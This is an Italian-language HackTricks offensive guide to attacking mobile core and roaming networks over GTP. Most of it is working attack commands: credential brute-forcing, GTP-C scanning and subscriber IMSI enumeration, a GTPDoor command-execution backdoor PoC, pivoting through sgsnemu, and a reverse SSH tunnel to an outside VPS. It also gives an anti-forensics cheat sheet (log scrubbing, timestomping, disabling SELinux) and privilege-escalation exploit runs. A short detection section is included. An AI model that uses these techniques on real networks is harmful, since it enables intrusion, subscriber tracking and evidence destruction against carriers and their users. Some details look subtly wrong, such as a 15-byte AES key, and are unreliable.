Telecom Network Exploitation (GTP / Roaming Environments)

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

note

I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-fidati. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, qualsiasi punto d'accesso all'interno di un perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core. Le seguenti note raccolgono trucchi offensivi osservati sul campo contro SGSN/GGSN, PGW/SGW e altri nodi EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Un insieme sorprendentemente ampio di elementi di rete dei fornitori viene fornito con utenti SSH/Telnet hard-coded come root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una lista di parole dedicata aumenta drasticamente il successo del brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se il dispositivo espone solo un VRF di gestione, pivotare prima attraverso un jump host (vedere la sezione «SGSN Emu Tunnel» qui sotto).

1.2 Scoperta degli Host all'interno di GRX/IPX

La maggior parte degli operatori GRX consente ancora ICMP echo attraverso il backbone. Combinare masscan con le sonde UDP gtpv1 integrate per mappare rapidamente i listener GTP-C:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerazione degli Abbonati – cordscan

Il seguente strumento Go crea pacchetti di Richiesta di Creazione del Contesto PDP GTP-C e registra le risposte. Ogni risposta rivela l'attuale SGSN / MME che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Flag principali:

  • --imsi IMSI dell'abbonato target
  • --oper Home / HNI (MCC+MNC)
  • -w Scrivi pacchetti grezzi in pcap

Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Esecuzione di Codice su GTP – GTPDoor

GTPDoor è un piccolo servizio ELF che lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite /bin/sh -c. L'output stdout/stderr viene estratto all'interno dei messaggi Echo Response in modo che non venga mai creata una sessione esterna.

Pacchetto PoC minimo (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Rilevamento:

  • qualsiasi host che invia Richieste Echo sbilanciate agli IP SGSN
  • flag di versione GTP impostato su 1 mentre il tipo di messaggio = 1 (Echo) – deviazione dalle specifiche

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN fornisce un emulatore SGSN in grado di stabilire un contesto PDP verso un reale GGSN/PGW. Una volta negoziato, Linux riceve una nuova interfaccia tun0 raggiungibile dal peer in roaming.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Con un corretto hair-pinning del firewall, questo tunnel bypassa i VLAN solo per il segnale e ti porta direttamente nel data plane.

4.2 Tunnel SSH Reverse sulla Porta 53

Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno al tuo VPS in ascolto su :53 e tornare più tardi da casa:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Controlla che GatewayPorts yes sia abilitato sul VPS.

5. Canali Clandestini

CanaleTrasportoDecodificaNote
ICMP – EchoBackdoorICMP Echo Req/Repchiave di 4 byte + chunk di 14 byte (XOR)ascoltatore puramente passivo, nessun traffico in uscita
DNS – NoDepDNSUDP 53XOR (chiave = funnyAndHappy) codificato negli ottetti del record Aosserva il sottodominio *.nodep
GTP – GTPDoorUDP 2123blob AES-128-CBC in IE privatosi mescola con il legittimo scambio GTP-C

Tutti gli impianti implementano watchdog che timestomp i loro binari e si riavviano se si bloccano.

6. Scheda di Evasione della Difesa

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalazione dei privilegi su NE legacy

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Suggerimento per la pulizia:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Strumenti

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – strumenti personalizzati descritti nelle sezioni precedenti.
  • FScan : scansioni TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS WPAD malevolo
  • Microsocks + ProxyChains : pivoting SOCKS5 leggero
  • FRP (≥0.37) : attraversamento NAT / bridging delle risorse

Idee di Rilevamento

  1. Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce richieste di creazione del contesto PDP.
  2. Porte non standard (53, 80, 443) che ricevono handshake SSH da IP interni.
  3. Richieste Echo frequenti senza corrispondenti Risposte Echo – potrebbero indicare beacon GTPDoor.
  4. Alta frequenza di traffico ICMP echo-reply con campi identificatore/sequence grandi e non nulli.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks